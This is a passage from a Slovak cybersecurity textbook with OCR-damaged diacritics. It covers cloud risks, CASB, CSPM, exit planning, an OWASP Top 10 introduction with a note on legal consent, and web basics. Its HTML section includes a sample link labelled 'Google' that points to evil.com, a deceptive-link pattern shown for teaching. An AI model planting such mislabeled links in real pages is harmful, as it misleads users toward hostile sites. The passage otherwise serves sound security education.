citlivost dat, ktoré do Cloudu vlozime, ale aj bezpecnostné funkcie, ktoré ma
cloudova sluzba k dispozicii. Mame na mysli existujice bezpecnostné funkcie
cloudovej sluzby, ale aj tie, ktoré sme sami schopni ovplyvnit tak, aby bolo celé
pouzitie dostatocne bezpecné (sluzby, ktoré sami zapneme alebo inak nastavime —
napriklad nastavenie dostato¢ne silného pouzivatelského hesla).

Pri hodnoteni Cloud sluzby sa mozZe stat, Ze zistime, Ze ochranné funkcie aplikacie
v cloude st do takej miery nedostatocné, Ze sa rozhodneme radsej dant sluzbu
nepouzivat, nez by sme mali podstapit prilis velké riziko, ktoré by mohlo viest
k neprimeranym negativnym dopadom. Toto sa stava hlavne pri SaaS sluzbach (vid.
Kapitola 2.), ktoré st stavané tak, ze miera moznosti ovplyvnit ich bezpecnost zo
strany odberatela je takmer nulova.

[= Priklady rizik cloudovych sluZieb
Nizov rizika:

Nevyhovujiice umiestnenie dat
Popis:

Data spracovavané cloudovou sluzbou st trvalo umiestnené v datovom centre,
ktorého geograficka lokalita nie je vyhovujuca. Jedna sa o ulozenie dat
v datovom centre, ktoré je fyzicky umiestnené v krajine s tzv. nedostatocnou
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aroviiou bezpecnosti (vid. https://dataprotection.gov.sk/uoou/sk/content/
prenos-do-krajin-zarucujucich-primeranu-uroven-ochrany)

Ndvrh na zniZenie dopadu rizika:

Pokial je to mozné, je vhodné zmluvne dohodntt vyuzitie DC umiestneného vo
vhodnej lokalite, nemenitelnost tohto umiestnenia a dohodnuf metddu
kontroly uplatiiovania dohodnutej podmienky a zaroven technicky zabezpecit
nastavenie vyuzivania vhodného regiénu umiestnenia DC (napr. zvolit region
EU alebo konkrétne mesto v ramci EU v nastaveniach sluzby).

Niazov rizika:
Nedostatocndi ochrana dit v iloZisku
Popis:

Data ulozené v permanentnom tloZisku cloudovej sluzby nie st dostatocne
chranené, pretoze nie je adekvatne obmedzena ich Citatelnost.

Ndvrh na zniZenie dopadu rizika:

Ochrana dat v tlozisku moéze byt zvySena vyuzitim Sifrovania, tj. metody
utajenia - ,znecitatelnenia” obsahu, ktord umozni zobrazit data v citatelnom
tvare len vtedy, ak je k dispozicii kla¢ na rozsifrovanie dat. Existuje viacero
moznosti, ako zrealizovat Sifrovanie. Uéinnost ochrany dét Sifrovanim je
zavisla od metody ochrany samotného Sifrovacieho kltca. Pozn.: Pokial
vhodnym sposobom neumiestnime a neochranujeme Sifrovaci k¢, metdda je
neucinna. Naviac, zapnutie Sifrovania moze mat dalSie negativne dopady,
napr. znizenie vykonnosti celej aplikacie.

Nizov rizika:
Nevyhovujiice zdlohovanie ddt
Popis:

Data spracovavané Cloud sluzbou nie st zalohované vobec alebo st
zalohované nevhodnym sposobom (t.j. su prenasané do neschvalenej lokality
datového centra, napriklad mimo krajin s dostato¢nou tiroviiou bezpec¢nosti).

Ndvrh na zniZenie dopadu rizika:

Toto riziko je mozné minimalizovat zvolenim vhodnej stratégie zalohovania.
Pri volbe sposobu zalohovania je dolezité urcit frekvenciu a rozsah
zalohovania, vhodné umiestnenie zalohy a spdsob a frekvenciu testovania
kvality a sposobilosti, resp. platnosti zalohy.

Zalohovanie méze byt v niektorych pripadoch dizajnovou stcastou cloud sluzby, ¢o
znamend, ze spOsob a frekvencia zalohovania je prirodzenou sucastou sluzby
samotnej (pontika ju dodavatel Cloudu), len je potrebné ju zapnut, tj. inicializovat
vykonavanie zalohovania, pripadne zvolit frekvenciu a miesto ulozenia. V takomto
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pripade vykona zalohu poskytovatel v stlade s dohodnutymi alebo zvolenymi
parametrami. Zaroven je dolezité ukotvit spdsob a metéodu zalohovania
v zmluvnych podmienkach a rovnako aj metédu kontroly platnosti zalohy.

(\D} Uloha: Pokiiste sa objavit dalsie mozné rizikd Cloud sluZieb, popiste ich a navrhnite
rieSenie na znizenie dopadu daného rizika. Tip: VyuZite internet a skiiste ndjst’ Cloud
rizikd, ktoré niekto uz zadefinoval. Pokiiste sa ich pochopit, vysvetlit a pokial nie je
k dispozicii rieSenie. Pokiste sa ndjst aj riesenie na zniZenie mozného dopadu
materializdcie daného rizika.

Zivot s cloudovymi sluzbami ma svoje rizikd. V kapitole si zhrnuté zakladné
poziadavky na Cloud z pohladu bezpecnosti a zaroven informacie o tom, Ze
nesplnenie danych poziadaviek prinasa rizikd. Rizika je mozné zmiernovat alebo sa
naucit s nimi Zit. Pre lepSie pochopenie rizik v Cloude sltiZi niekol'ko prikladov rizik
Cloud sluzieb.

Standardizované bezpe¢nostné opatrenia pre
Cloud sluzby

V kapitole zodpovednost za prevadzkovanie Cloudu sme uviedli informaciu o tom,
ze zodpovednost za bezpecnost vyuzivania Cloud sluZieb je zdieland. To znamens,
Ze sa deli medzi poskytovatela a odberatela Cloud sluzieb. Inymi slovami povedansé,
poskytovatel ma k dispozicii nastroje a softvér, ktorého implementacia a prevadzka
umoznuje Cloud sluzby poskytovat s o najvyssou moznou aroviou zabezpecenia,
a zaroven je povinnostou a zodpovednostou odberatela dodrziavat bezpecnostné
pravidla a vyuzivat bezpecnostné funkcie a softvér tak, aby svojou cinnostou
neohrozil seba, svoje déta, ale ani inych najomnikov v Cloude. VeImi podobne sa
spravame v beznom zivote, napriklad ako pri spolocnom byvani v bytovom dome,
neohrozujeme a nevyrusujeme svojich susedov a spravame sa k sebe ohladuplne
navzajom, a zaroven dodrziavame zakladné bezpecnostné pravidla, t.j. nechavame
dom pod kontrolou kamerového systému alebo fyzickej ochrany, zamykame vchod,
véimame si cudzich [udi, Cistime spoloéné priestory a zabezpecujeme udrzbu
spoloc¢nych ¢asti a rozvodov domu, ¢im predchddzame potencidlnym nebezpecnym
situdcidm, havariam, porucham a inym nezelanym stavom.

V tejto kapitole uvedieme niekolko zakladnych softvérovych rieseni, ktoré plnia
funkcie prevencie a ochrany v Cloud prostredi. Vacésinu z nich je nutné zakupit ako
doplnkovu sluzbu, velmi podobne, ako sa plati za strazny systém domu alebo
kamerovy systém napojeny na ochranny pult policie.
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Cloud Access Security Broker (CASB)

Gartner Information Technology Insights Expert Guidance | Tools | Connect with Peers

Information Technology

Gartner Glossary

Gartner Glossary > Information Technology Glossary > C > Cloud Access Security Brokers (CASBs)

Cloud Access Security Brokers
(CASBs)

Cloud access security brokers (CASBs) are on-premises, or cloud-based security policy
enforcement points, placed between cloud service consumers and cloud service providers to
combine and interject enterprise security policies as the cloud-based resources are accessed.
CASBs consolidate multiple types of security policy enforcement. Example security policies include
authentication, single sign-on, authorization, credential mapping, device profiling, encryption,
tokenization, logging, alerting, malware detection/prevention and so on.

Obr.: Cloud Access Security Brokers (CASBs)*

CASB je riesenie, ktoré umoznuje monitorovat sposob pouzivania Cloud sluzieb
a vynucovat uplatiiovanie bezpecnostnych pravidiel (security policies).

Aplikdcia CASB je typicky nasadena medzi pouzivatelom a aplikaciou, resp.
sluzbou v Cloude. Jej ciefom je identifikovat alebo aj zachytavat nezelané aktivity na
zéklade vopred definovanych bezpecnostnych pravidiel alebo hibkovej analyzy
komunikacie medzi pouzivatefom a aplikdciou. CASB ma funkcionalitu, ktora
umoziuje
e na skodlivé aktivity pouzivatela alebo iného zdroja, ako je malware, SW robot
a pod., upozornovat zodpovednych technikov a operatorov informacnej
bezpecénosti, napr. formou =zaslania e-mailu alebo inej notifikdcie
v monitorovacej konzole,
® na viaceré nezelané aktivity nasadif automatizované reaktivne odpovede, ktoré
okamzite zamedzia nezelanej aktivite alebo uplatnia automatizované napravné
opatrenie, ¢im predidu moznej skode alebo bezpecnosténmu incidentu,
e uplatiiovat opatrenia na ochranu pred skodlivym kédom.

¥ Cloud Access Security Brokers (CASBs) [25.01.2024] Dostupné online: https://www.
gartner.com/en/information-technology/glossary/cloud-access-security-brokers-casbs
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Typickym prikladom nezelanej aktivity v Cloud prostredi je tnik citlivych dat (data
leakage). CASB teda moze plnit tilohu ochrany pred unikom dat (Data Leakage
Protection) napriklad tym, Ze neumozni upload dat na neschvalené tloziska.

(\D} Uloha: S pomocou internetu ndjdite definiciu CASB. Vyhladajte viacero rieseni od
roznych poskytovatelov. Obozndmte sa s hlavnymi funkciami CASB rieSenia
a porovnajte ich medzi sebou. Zistite rozdiely.

Posture management

Posture management, moze sa vyskytovat aj nazov Cloud Security Posture
Management (CSPM), je skupina bezpecnostnych nastrojov, ktorych tlohou je
identifikovat

e tzv. mis-konfiguracie (konfiguracia s odchylkou od Standardu alebo predpisu),

e odchylky od schvaleného nastavenia (blue print),

e nespravne nastavenia, ktorych dosledkom je nestilad s niektorou normou
bezpecnosti, ako napr. ISO 27001, PCI DSS, NIS2 a pod.,

e zname zranitelnosti,

e chyby, ktoré sa nachadzaju v Standardnych technologickych komponentoch
alebo vzoroch a predpisoch vyuzivanych na budovanie aplikacii, ako st napr.
softvérové kniznice,

e chyby aplika¢nych rozhrani (API),

e chyby nastaveni Standardnych cloud komponentov a pod.

Néstroje CSPM st schopné porovnat nastavenia a konfiguracie pouzivanych Cloud
sluzieb alebo servisov pouzitych pre konkrétnu aplikaciu s tzv. vzorom, co je
napriklad vopred schvalena konfiguracia (baseline, best practice), porovnat zname
bezpecnostné rizika, zranitelnosti alebo iné vzory. Zistené odchylky CSPM nastroje
zobrazuju napriklad formou reportu, zobrazenia v manazment konzole alebo v tzv.
dashboarde. Sticastou zobrazenia vystupu moZze byt aj informacia o moznom riziku,
ktoré vznika ako dosledok nespravnej konfiguracie Cloud sluzby alebo aj
doporucenie, ako dany nedostatok odstranit. Mnohé CSPM nastroje majii podporu
pre automatizované uplatnenie napravnych opatreni (remediation). Pri nasadeni
CSPM je dolezité pouzivat také rieSenia, ktoré umoznuju kontrolu a vhlad
(visibility) na sluzby, resp. monitoring Cloud sluzieb od roznych poskytovatelov,
pretoze prax ukazuje, Ze najviac mis-konfiguracii, architektonickych chyb alebo
zranitelnosti sa vyskytuje v hybridnych alebo zmiesanych Cloud rieSeniach.

(\D} Uloha: Pomocou internetu vyhladajte viacero rieSeni CSPM od roznych
poskytovatel'ov. Obozndmte sa s ich hlavnymi funkciami a porovnajte ich medzi sebou.
Zistite rozdiely a zapiste si hlavné funkcie ndstrojov CSPM - vytvorte prezenticiu.
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Odchod (EXIT) z Cloudu

Zmeny v Cloude su realizované poskytovatelom/dodavatefom Cloud rieSenia
s vysokou frekvenciou, avsak nie vSetky zmeny st uzito¢né a prinosné. Niektoré
zmeny su do takej miery nevyhovujtice alebo st natol'ko rizikové pre pouzivatela,
resp. odberatela Cloud sluzby, ze prinasaju potrebu Cloud sluzbu opustit. Preto je
klIacové, pre firmy dokonca strategické, byt pripraveny na potrebu od
poskytovatela Cloudu odist, ¢o v praxi znamend mat pripravena tzv. EXIT stratégiu
alebo EXIT plan.

Pozn.: EXIT stratégia je ramcovy dokument, ktory popisuje stratégiu organizicie alebo
spolocnosti (odberatela Cloud sluZieb), ako zmiernit rizikd spojené s ukoncenim
pouzivania Cloud sluzby. EXIT plin je konkrétny zoznam krokov, ktoré je potrebné
vykonat' pri samotnom opusteni Cloud sluzby. EXIT stratégia moZe zahtiiat viacero
variant EXIT pldnov (viacero moznosti alebo ciest), pokial sii také varianty mozné.

& EXIT, tj. odchod, resp. opustenie cloud sluzby, je doélezita schopnost, resp.
rieSenie, v takom pripade, ked sa naplnia urcité, casto negativne
predpoklady, napriklad ked ma pokracujtice pouzivanie cloud sluzieb na nas
negativny dopad.

To znamenad, ze dalsie pouzivanie cloud sluzieb nam moéze spdsobit napriklad
poskodenie dobrého mena alebo financné straty. V niektorych osobitnych
pripadoch, ako st tzv. regulované ¢innosti alebo odvetvia podnikania (napr. banky,
financné domy a pod.), moéze potreba odist z Cloud prostredia vyplynut
z regulacnych opatreni alebo z legislativnych poziadaviek (napr. nariadenia vlady
alebo narodnej banky na odchod z Cloudu alebo regulaciu Cloudu).

Podmienky pre EXIT

Opustenie Cloud sluzby nemusi byt jednoduché rozhodnutie a priamo savisi
s viacerymi kritériami, ktoré st opisané nizsie.

Je velmi dolezité stanovit si konkrétne charakteristiky alebo parametre, ktorych
naplnenie je vaznou prekazkou dalSieho pouzivania Cloud sluzby, a teda dovodom
na jej opustenie. Prevadzkové kritéria, atributy kvality a bezpecnosti pouzivania
Cloud sluzieb, ktorych hodnoty alebo charakteristiky nie st pre nas vyhovujtce, sa
nazyvaju neakceptovatelné kritérid..

Priklady neakceptovatelnyjch kritérii podl'a oblasti:

Prevddzka cloud sluzby:

o nedodrZiavanie vijkonnostnych parametrov cloudu (aplikicia v cloude je pomald)®°,

0 velmi Casto sa stdva, Ze poskytovatel cloudu da do SLA len poziadavky na celkovi
dostupnost a degradaciu, ako spomalenie sluzby, nevnima ako porusenie SLA.
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o Casté vypadky, resp. ¢astd nedostupnost sluzby (aplikicia v cloude asto padd alebo
je vypnuta),

o problém s adaptdciou cloudu na strane odberatel'a (objavili sa incidenty, ako napr.
chyby vo funkcidch aplikdcie: moZe nastat vinik informdcii sposobujiici stratu
dbveryhodnosti poskytovatela, ak nebude bezpecnost aplikicie v cloude dobre
nastavend).

Ekonomické a biznis hl'adisko:

o rast cien za poskytovanie sluzieb (napr. cena za prendjom priestoru v cloude sa
zdsadne zvysila),

o zmena obchodmyjch alebo licencnych pravidiel (napr. zmena pravidiel moZe
zapricinit obmedzenie pouzivania cloudu alebo nedodrzanie zdkonnych pravidiel pri
previdzke aplikdcie v cloude po zmene pravidiel),

o mnezrealizovand kompenzdcia nedostatocnych prevadzkovych parametrov (napr.
kompenzicia vypadkov, spdsobenej skody, napr. formou kreditu - odpustenia
poplatku na dalsie obdobie previdzkovatelom cloudu),

o porusenie mléanlivosti (napr. neboli dodrzané pravidld na bezpecnost cloudu
previdzkovatel'om a boli prezradené citlivé tidaje o ddtach v cloude),

o neakceptovatel'nd akvizicia (prevddzkovatel cloudu bol odkiipeny inou spolocnostou
a transakcia je pre odberatel'a cloudovych sluZieb neakceptovatel'nd zmena).

Ako uz bolo spomenuté v kapitole 4., najvyssou hodnotou, ktorti treba mat vzdy na
zreteli pri akejkol'vek praci v Cloud prostredi stt samotné informacie, t.j. data,
s ktorymi v Cloude pracujeme a miera ich citlivosti. Tato skutocnost je riadiacim
prvkom pri definovani krokov, ktoré je potrebné vykonat pocas odchodu z Cloud
prostredia.

Za predpokladu, ze v cloud prostredi spracovavame citlivé data, o ktoré nechceme
pri odchode z Cloud sluzby prist, bude nasou najdélezitejSou ulohou bezpecne
ziskat vSetky naSe data spat, resp. presunut ich na Zelané ndhradné miesto
anasledne spolahlivo vymazat dané data z povodného Cloud prostredia.

Vzhladom k funkcidm Cloudu v oblasti garancie vysokej dostupnosti je typické,
najma pre SaaS typ sluzieb (SaaS — popis vid kapitola 2.), ze data st duplikované do
zaloznej lokality alebo priebezne archivované v dalsej lokalite. To znamena, ze kdpia
dat je umiestnena v geograficky inom datovom centre. V takomto pripade je
dolezité ziskat doveryhodné uistenie o ich spolahlivom vymaze nielen v prostredi,
kde sa aktivne data pouzivaju, ale aj vo vSetkych jeho replikach.

V mnohych situdcidch tieto aktivity nie st realizovateIné bez sucinnosti
poskytovatela Cloud prostredia, najma pokial sa jedna o SaaS. Potrebnti sti¢innost
pre pripad ukoncenia pouzivania Cloud sluzby je nutné s poskytovatelom zmluvne
dohodnut.
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Minimalna zmluvne dohodnuta sti¢innost poskytovatela Cloud sluzby pre EXIT
Zmluva s poskytovatelom Cloud sluzby by mala zahfnat:

o garantovanie dostupnosti konzistentnych a nezmenenych dat pre export
z Cloudu do nového uloZiska v pouzitelnom tvare (tvar musi byt vopred
definovany a dohodnuty s poskytovatelom),

o preukdzanie certifikovaného sposobu bezpecného odstranenia dat zo
vsetkych tlozisk poskytovatela,

o moznost auditovania kvality, resp. uspesnosti vymazu uvedenych dat
priamo odberatelom alebo externou auditorskou spolo¢nostou.

Parametre EXIT planu mozu byt variabilné v zavislosti od typu sluzby (SaaS/PaaS/
laaS — popis vid. Kapitola 2.). Nie vsetky parametre sa uplatnia pre kazdy typ
sluzby, avsak parametre maja byt sicastou zmluvy s poskytovatelom a je potrebné
ich zladit s podmienkami o odsttipeni od zmluvy.

Priklady parametrov:

e podmienky spustenia EXIT procesu (na bize vyssie uvedenych neakceptovatelnych

kritérii),

trvanie realizdcie EXITu,

proces a termin na poskytnutie ddt vrdtane auditnyjch zdznamov, resp. logov,

proces a termin na vymazanie dat vrdtane auditnyjch zdznamov, resp. logov,

potvrdenie vymazania ddt (spdsob dokladovania vymazania ddt a povolenie auditu

vymazu dat),

® sposob (technickd realizdcia) a podmienky dorucenia dat (zahfniajii aj organizacné
opatrenia),

® proces a termin na migrdciu sluzby aj s datami do cielového prostredia (cloud, on-

premise — domdce ddtové centrumy),

cena za migraciu,

poZadovand sticinnost tretich stran (rozsah pric, poZadovany SW, HW, pripojenie),

sucinnost pouzivatela cloud sluzby,

garancia dostupnosti sluzby az do ukoncenia realizicie EXITu.

Priklady EXIT planov
Ukoncenie Cloud sluzby s plnym prechodom do iného Cloud riesenia.
Takyto EXIT plan zahfna (nie vSak vylucne):

e vyber a nakup kvalitného a bezpecného rieSenia od nového Cloud
poskytovatela,

e viacero analyz: pravna analyza, dopady na cinnost odberatela Cloud sluzby,
analyza rizik, finan¢na analyza, analyza bezpecnosti,

e migraciu a prevadzkové nastavenie aplikacie, pokial sa nejedna o SaaS,

e prenos dat, resp. migraciu dat,

e prenos sluzieb,
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e testovanie,
e overenie vymazania dat v povodnej sluzbe.

@ Pokiiste sa pre Cloud sluzbu, ktorii uz pouzivate, vymysliet EXIT pldn.

Ukoncenie Cloud sluzby s plnym prechodom do riesenia v lokdlnom ddtovom centre (on-
premise)

Takyto EXIT plan zahtna (nie vsak vylucne):

e projekt pre lokalne nasadenie a prevadzku, ktory zahfma minimalne
dedikovanie alebo vytvorenie IT timu, nakup pozadovanej infrastruktiry
a softvéru a jeho kompletné sprevadzkovanie vratane implementacie
bezpecnostnych opatreni,

e viacero analyz: pravna analyza, dopady na nasu c¢innost, analyza rizik, finan¢na
analyza, analyza bezpecnosti,

e v zavislosti od moznosti preniest Cloud aplikaciu do on-prem:

° migraciu alebo nasadenie aplikacie v novom prostredi,
o ak sa jedna o zmenu aplikacie, tak je tento krok nahradeny len obstaranim
a nasadenim novej aplikacie,

prenos dat, resp. migraciu dat do nového priestoru,

prenos, resp. obstaranie a zavedenie novych sluzieb pre on-prem prevadzku,
testovanie novej implementacie,

overenie vymazania dat v povodnej sluzbe.

Cielom tejto kapitoly bolo sprostredkovat informaciu o tom, co je to EXIT stratégia,
aky je jej vyznam a ¢o by mala obsahovat. V pripade, ked nie je mozné opustit Cloud
sluzbu ,len tak”, napr. bez poziadaviek bezpecne preniest data do nahradného
rieSenia alebo tuloziska, nie je EXIT jednoduchym krokom. Je velmi dolezité mat
relativne presnt predstavu o moznom odchode z Cloud sluzby a krokoch, ktoré je
potrebné vykonat, ak sa naplnia podmienky pre opustenie Cloudu, presnejsie
povedané, je potrebné byt pripraveny. Inak sa moze stat, Ze o svoje data prideme,
¢im sa materializuje riziko neexistujuceho EXIT planu, ktorého dopadom je
napriklad to, Ze nebudeme moct poskytovat nasu sluzbu. Takyto dopad moze byt
pre niektoré osoby alebo subjekty likvidacny.
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OWASPTOP.10" |

Neziskovt organizaciu OWASP® (Open Web Application Security Project) sme
spominali v predchadzajucich dieloch ucebnice. Jej poslanim je zlepSovat
bezpecnost softvéru. Na tento tucel organizacia vydava rdozne odportcania
(guidelines, cheat sheets) zamerané na bezpecny dizajn softvéru, programovacie
techniky a verifikdciu bezpecnosti softvéru. Jednym z najznamejsich projektov
OWASP-u je projekt OWASP TOP 10 - subor desiatich najcastejsich skupin slabin
webovych aplikacii.

Verzia OWASP TOP 10, s ktorou budeme pracovat v ramci tejto ucebnice, je z roku
2021 a obsahuje nasledovné skupiny slabin:

A01 Broken Access Control

A02 Cryptographic Failures

A03 Injection

A04 Insecure Design

AO05 Security Misconfiguration

A06 Vulnerable and Outdated Components
AQ7 Identification and Authentication Failures
A08 Software and Data Integrity Failures

A09 Security Logging and Monitoring Failures
A10 Server Side Request Forgery (SSRF)

Kazda zo skupin slabin je dalej previazana s jednym, spravidla vSak viacerymi
CWE.

& CWE (Common Weakness Enumeration) je systém kategorizacie zranitelnosti
a slabin hardvéru a softvéru. Na rozdiel od CVE (Common Vulnerabilities and
Exposures - poskytuje referencnit metédu pre verejne zname zranitelnosti
a rizika v oblasti bezpecnosti informacii), ¢islo CWE nehovori o konkrétnej
zranitelnosti v konkrétnom softvéri, ale o type zranitelnosti vo vSeobecnosti.
CWE-35 je napr. “Path traversal”®, CVE-2022-4030 je Path traversal v Simple:
Press plugine pre Wordpress.

(\9} Vyhl'adajte na internete CVE, ktoré majii v popise Path Traversal. Kol'ko ste ich nasli?

Pretoze previazanych CWE je v ramci OWASP TOP 10 velmi vela, vybrali autori
ucebnice pre kazdu skupinu slabin niekolko reprezentativnych CWE, na ktorych je
mozné demonstrovat, ako tieto zranitelnosti funguja.

61

https://owasp.org/
62

https://owasp.org/Top10/
6 https://cwe.mitre.org/data/definitions/35.html
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Etika v ramci kybernetickej bezpecnosti
a OWASP TOP 10

Pred tym, neZ sa ponorime do jednotlivych casti OWASP TOP 10, je potrebné
pripomentit si, ako je etika previazand s kybernetickou bezpecnostou. Pri verifikacii
pritomnosti bezpecnostnych zranitelnosti v ramci IT systémov sa pouzivaja nastroje
a techniky, ktoré mozu mat za nasledok spomalenie, vypadok alebo kompromitaciu
IT systému, ako aj dat obsiahnutych v IT systéme. Pred realizaciou takychto aktivit
je bezpodmienecne nutné mat suahlas prevadzkovatela IT systému.

Suihlas prevadzkovatela IT systému moze byt poskytnuty vo forme:

e zmluvy v pripade penetra¢ného testu alebo skenu zranitelnosti®,

e vseobecného stihlasu v rdmci podmienok pouZzivania aplikacie - napr. v pripade
Capture the flag (CTF),

e suhlasu, ktory si udelite pri testoch vo vlastnom labe® alebo ktory je udeleny
vlastnikom labu.

Pokial vam pred realizdciou ttocénych technik nebol udeleny suhlas
prevadzkovatela IT systému, moze vase konanie naplnit §247 trestného zakona -
Neopravneny pristup do pocitacového systému.

\@_} Vyhladajte v trestnom zdkone, na aky trest moze byt odstideny clen hackerskej skupiny.

Zaklady fungovania webovych aplikacii

Na pochopenie fungovania webovych aplikdcii potrebujete poznat aspon
schematicky fungovanie technologii, na ktorych je dynamicka webova aplikacia
zaloZena.

¢ v ktorej je, okrem iného, Specifikovany aj zdroj testu, ciel testu a rozsah testovania (prip.
len testy, ktoré sa realizovat nebudu).

6 lab je dedikovany pocitac alebo pocitacova siet, ktord sliZi na testovanie
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Obr.: strucny nacrt fungovania dynamickej webovej aplikdcie

Na to, aby fungovala staticka webova aplikacia, potrebujeme webovy server.

Webovy server je softvér, ktory je schopny spracovat poziadavky zadavané
protokolom HTTP(s). Poziadavky (HTTP request) posiela klient (user-agent)
zaslanim poziadavky na webovy server a zdroj (resource) identifikovany v URI
(Uniform resource identifier). Webovy server na request odpovie bud chybou
alebo nejakym druhom obsahu (content), napr. HTML dokumentom, ktory sa
zobrazi v prehliadaci.

HTTP (hypertext transfer protocol) je protokol na pristup k webovému serveru.
Patri do aplika¢nej vrstvy ISO/OSI modelu. HTTP poziadavka aj odpoved
pozostavaju z hlavicky (http header) a samotnych dat. Klient v poziadavkach
HTTP protokolu pouziva na ziskanie dat z webového serveru tzv. metddy -
napr. GET, POST, PUT alebo DELETE®. V ramci interakcie klienta s webovym
serverom sa najviac vyuzivaju metédy GET a POST.

GET request sa pouziva na ziskanie konkrétnych dat zo zdroja. Tato metdda by
nemala byt pouzivand na zapis dat. Na prevzatie dat je preferovany pred POST
requestom, kedZe moze byt volany cez URL. GET request je logovany v access
logu HTTP servera, ¢o moze byt problém, ak obsahuje citlivé parametre. GET
reqest vidite aj v URL v prehliadaci vo forme: https://www.server.com/cesta/k/
resourcu.html?paraml=valuel&param2=value2

POST request je urceny na poslanie dat od klienta k serveru a moze znamenat
modifikdciu dat na serveri alebo vytvorenie novych dat - napr. “postnutie”
prispevku na socialnu siet.

66

HTTP metoda indikuje webovému serveru, ¢o chce klient spravit. V pripade uvedenych
metod ide o pristup k nejakému zdroju (GET), zaslanie dat pre uvedeny zdroj (POST),
nahradenie pristupovaného zdroja novym (PUT) alebo zmazanie zdroja (DELETE). Viac
informadcii napr. tu: https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods
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URI/ URL

URI

SCHEME HOST
https://www.searchenginejournal.com/author/dan-taylor/

Obr.: Rozdiely medzi URI, URL a URN. Prevzaty obrdzok a viac detailov ndjdete na:
https:/fwww.searchenginejournal.com/multilingual-seo-url-structure/298747/

& HTML (hypertext markup language) je jazyk, ktory sa pouziva na vytvaranie
a struktdrovanie obsahu dokumentov, ktoré vie zobrazit webovy prehliadac.
Dokument sa sklada z elementov®, ktoré formatuji samotny dokument. napr.

<hl style="color:red;">Toto je Cerveny nadpis</h1>
<br>
<p style="color:green;”>a tu je zeleny odstavec</p>

Elementy mozu byt do seba navzajom vnorené, napr.:
<p style="color:green;”>v zelenom odstavci mame zoznam na
<ul>
<li>prva odrazka</1i>
<li>druha odrazka</1i>
<li>tretia odrazka</1i>
</ul>
</p>
HTML tagy mozu ukazovat na elementy v inych lokalitach napr.:
<a href="https://www.evil.com”>Google</a>

<img src="www.server.com/obrazky/obrazok.png”>

Okrem HTML tagov mdze HTML dokument obsahovat aj Styly vo forme CSS
(Cascading Style Sheets) a skripty, dnes najma v jazyku JavaScript. JavaScript je
vymedzeny tagmi <script></script> alebo moéze odkazovat aj na externy skript
<script src="https://externadomena.com/script.js”>.

Dobre struktiirovany navod k jazyku na HTML néjdete tu:
https://www.w3schools.com/html/default.asp

(\D_} Vyberte si Tubovolnii stranku z tejto ucebnice a vyskiusajte ju prepisat’ do HTML.
Nezabudnite na sprdvne formdtovanie a fonty. Vytvoreny HITML stibor si viete zobrazit
vo webovom prehliadaci aj z lokdlneho disku. Nepotrebujete na to webovy server.

Pokial ma webovy server poskytnat HTML stbor, musi byt tento sibor uloZeny na
webovom serveri v adresari nazyvanom wwwroot alebo jeho podadresari.

67 ktoré maju zaciatocny a niekedy aj koncovy HTML tag.
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https://www.aplikacia.sk/cesta/k/zdroju/stranka.html

D:\wwwroot\cesta\k\zdroju\stranka.htmi
Obr.: preklad URI na cestu k stiboru

& JavaScript (alebo len ]S) je skripovaci jazyk, ktory moZze interagovat so
véetkymi elementmi HTML dokumentu® a menit ich. Rovnako mdze
pristupovat ku cookies, pokial to nie je explicitne zakazané. Dobre
Struktirovany navod k jazyku JavaScriptu najdete tu: https://www.w3schools.
com/js/default.asp

Pokial ma webovy server poskytovat okrem statického obsahu (statickych HTML
stranok, obrazkov, nemennych skriptov a dokumentov) aj nieco iné, tak potrebuje
mat podporu aj programovacieho jazyka alebo frameworku, ktory generuje
dynamické webové stranky. Prikladom programovacieho jazyka pouzitého v tejto
ucebnici je PHP, JavaScript a Python®.

(% PHP (PHP: Hypertext Preprocessor”) je skriptovaci jazyk pouzivany na
generovanie webovych stranok. PHP kdd je pisany medzi tagmi <?php a ?>,
napr.:

<?php
echo "Hello World!";
?>

Jazyk PHP umoziiuje pracovat s poliami, robit podmienky if-then-else, cykly for aj
while atd. A samozrejme, vie pristupovat na parametre GET/POST requestu.
PretoZe je jeho syntax nad ramec rozsahu tejto ucebnice, bude pri prikazoch cez
komentar vzdy popis, ¢o dany prikaz robi.

Dobre strukttirovany navod k jazyku PHP je tu:
https://www.w3schools.com/php/default.asp

& Python je programovaci jazyk ureny na pisanie platformovo nezavislych
aplikacii, ktory moze byt pouzity aj na generovanie webovych stranok. Je vel'mi
modularny, a preto je lahké ho pouzit na takmer Iubovolny tucel, od
mikrokodovych aplikacii (micro-python) az po frameworky pre web (napr.

68

resp. document object model - DOM.

% ale samozrejme existuje viac jazykov na generovanie webovych stranok, napr. ASP.NET,

Java.

70 ano, je to naozaj rekurzivna definicia (definovana sama sebou)
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Flask). Dobre strukttirovany navod k jazyku Python najdete tu: https://www.
w3schools.com/python/default.asp

Na to, aby aplikacia mohla ukladat data, potrebuje nejaky spdsob perzistentného
(trvalého) uloZenia. Tymto spdsobom mdze byt databaza. Databazovy server” moze
obsahovat viaceré databazy, ktoré st navzdjom izolované pristupovymi pravami.
Databaza pozostava z tabuliek, v ktorych st1 ulozené data.

Databazovy server

/

Databaza 1 Databaza 2 Databaza 2
Tabulka 1
Tabufka 2
Tabulka 3
N S

NS DN DN 4

Obr.: UloZenie ddt v relacnej databdze

Tabulka pozostédva zo stipcov a riadkov. Stipce definuju Struktiru dat a riadky
obsahujii samotné data.

& SQL (Structured query language) - je jazyk urceny na pristup a manipulaciu dat
v relacnej databaze. Zakladom interakcie s databazou je dotaz (query), napr.:

select x from students;
—-vyberie vsetky stlpce z tabulky students

7t DBMS - database management system
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vysledok:

ID | Meno | Priezvisko | Trieda | Adresa
01 | Janko | Hrasko | 4.A | Hrachova 7, Hrachoviste
02 | Juraj | Janosik | 1.A | Terchova 158

vieme pecifikovat aj konkrétne stipce, resp. podmienky napr.:

select Meno, Priezvisko from students where Trieda="1.A";
vyberie z tabulky students meno a priezvisko, pokial je ziak studentom triedy 1.A.

Pokial potrebujeme data modifikovat, tak pouzijeme prikaz UPDATE, pokial
pridavame data, pouzijeme prikaz INSERT a pokial mazeme data, tak prikaz
DELETE.

Na to, aby webova aplikacia mohla pristupovat do databazy, potrebuje mat
definované pristupové parametre, nedostupné beznému pouzivatelovi. Na
autentifikdciu moze sltzif meno a heslo, certifikat, kIta¢ a pod., ktoré ale nie st
totozné s pristupovymi tidajmi, uréenymi na pristup do webovej aplikacie.

Dobre strukttirovany navod k jazyku SQL je tu:
https://www.w3schools.com/sql/default.asp

Instalacia prostredia

Na to, aby ste si vedeli vyskusaf testovanie jednotlivych zranitelnosti a jednotlivé
